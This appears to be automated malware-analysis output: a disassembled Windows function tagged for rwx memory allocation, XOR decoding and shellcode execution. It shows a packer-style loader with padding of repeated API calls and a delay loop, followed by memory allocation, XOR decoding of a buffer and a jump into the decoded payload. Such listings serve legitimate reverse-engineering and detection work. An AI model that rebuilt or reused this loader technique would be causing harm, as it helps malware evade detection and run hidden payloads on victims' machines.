Function at 0x512c40
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
mov eax, 0x512858
call fcn.0040676c
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
mov dword [0x518e7c], 0x8a58a
mov dword [0x518e28], 0xe
inc dword [0x518e28]
cmp dword [0x518e28], 0x901d4c1
jne 0x5132a4
mov dword [0x518e44], 0xaa9f0
mov dword [0x518e64], esp
add dword [0x518e64], 0x40
mov dword [0x518e68], ebp
add dword [0x518e68], 0x20
lea ecx, [0x518668]
mov eax, dword [ecx - 0x10]
mov dword [0x518e70], eax
mov eax, dword [ecx - 0x14]
mov dword [0x518e6c], eax
push 0x51357c
push 0xa
mov ecx, dword [0x518668]
mov dl, 1
mov eax, dword [0x41b6a8]
call fcn.0042062c
mov dword [0x518e30], eax
mov dword [0x518e74], 0x1001
mov dword [0x518e78], 0x1579
push 0x513584
push 0x513568
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x518e80], eax
mov dword [0x518e84], 0xffffffff
mov dword [0x518e50], 0x85
mov eax, dword [0x518e30]
mov edx, dword [eax]
call dword [edx]
mov dword [0x518e88], eax
mov eax, dword [0x518e78]
sub eax, 0x1539
push eax
mov eax, dword [0x518e74]
dec eax
push eax
mov eax, dword [0x518e88]
add eax, dword [0x518e50]
push eax
push 0
push 0xffffffffffffffff
call dword [0x518e80]
mov dword [0x518e34], eax
mov eax, dword [0x518e78]
sub eax, 0x1539
push eax
mov eax, dword [0x518e74]
dec eax
push eax
mov eax, dword [0x518e88]
add eax, dword [0x518e50]
push eax
push 0
push 0xffffffffffffffff
call dword [0x518e80]
mov dword [0x518e3c], eax
mov edx, dword [0x518e88]
mov eax, dword [0x518e3c]
call fcn.00407504
mov eax, dword [0x518e30]
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
mov edx, dword [0x518e34]
mov eax, dword [0x518e30]
call fcn.0041ff64
mov eax, dword [0x518e34]
mov eax, dword [eax]
mov dword [0x518e40], eax
mov eax, dword [0x518e34]
add eax, 4
mov dword [0x518e34], eax
mov eax, dword [0x518e3c]
mov dword [0x518e38], eax
mov eax, dword [0x518e38]
sub eax, 4
mov dword [0x518e38], eax
xor eax, eax
mov dword [0x518e5c], eax
xor eax, eax
mov dword [0x518e60], eax
mov dword [0x518e4c], 0x159
mov dword [0x518e54], 1
mov eax, dword [0x518e30]
mov edx, dword [eax]
call dword [edx]
mov dword [0x518e58], eax
xor eax, eax
mov dword [0x518e28], eax
mov eax, dword [0x518e5c]
cmp eax, dword [0x518e58]
jae 0x5134a2
mov edx, dword [0x518e34]
add edx, dword [0x518e5c]
add edx, dword [0x518e28]
mov eax, dword [0x518e3c]
add eax, dword [0x518e60]
mov ecx, dword [0x518e50]
call fcn.004074fc
mov eax, dword [0x518e50]
add dword [0x518e60], eax
mov eax, dword [0x518e50]
add dword [0x518e5c], eax
mov eax, dword [0x518e54]
add dword [0x518e5c], eax
jmp 0x51344a
xor eax, eax
mov dword [0x518e28], eax
mov eax, dword [0x518e28]
cmp eax, dword [0x518e40]
jae 0x51350b
mov eax, dword [0x518e28]
add eax, dword [0x518e7c]
mov dword [0x518e2c], eax
mov eax, dword [0x518e28]
mov edx, dword [0x518e3c]
add dword [edx], eax
mov eax, dword [0x518e4c]
add eax, dword [0x518e2c]
mov edx, dword [0x518e3c]
xor dword [edx], eax
add dword [0x518e28], 4
add dword [0x518e3c], 4
push 0x513594
call sub.kernel32.dll_GetModuleHandleW
mov eax, dword [0x518e28]
cmp eax, dword [0x518e40]
jb 0x5134b6
mov eax, dword [0x518e38]
add eax, dword [0x518e44]
sub eax, 0x1000
add eax, 4
mov dword [0x518e48], eax
mov eax, 0xd
push dword [0x518e64]
mov eax, 0xe
push dword [0x518e68]
mov eax, 0x9c
push dword [0x518e6c]
mov eax, 0x11
push dword [0x518e70]
push dword [0x518668]
mov eax, 1
push eax
jmp dword [0x518e48]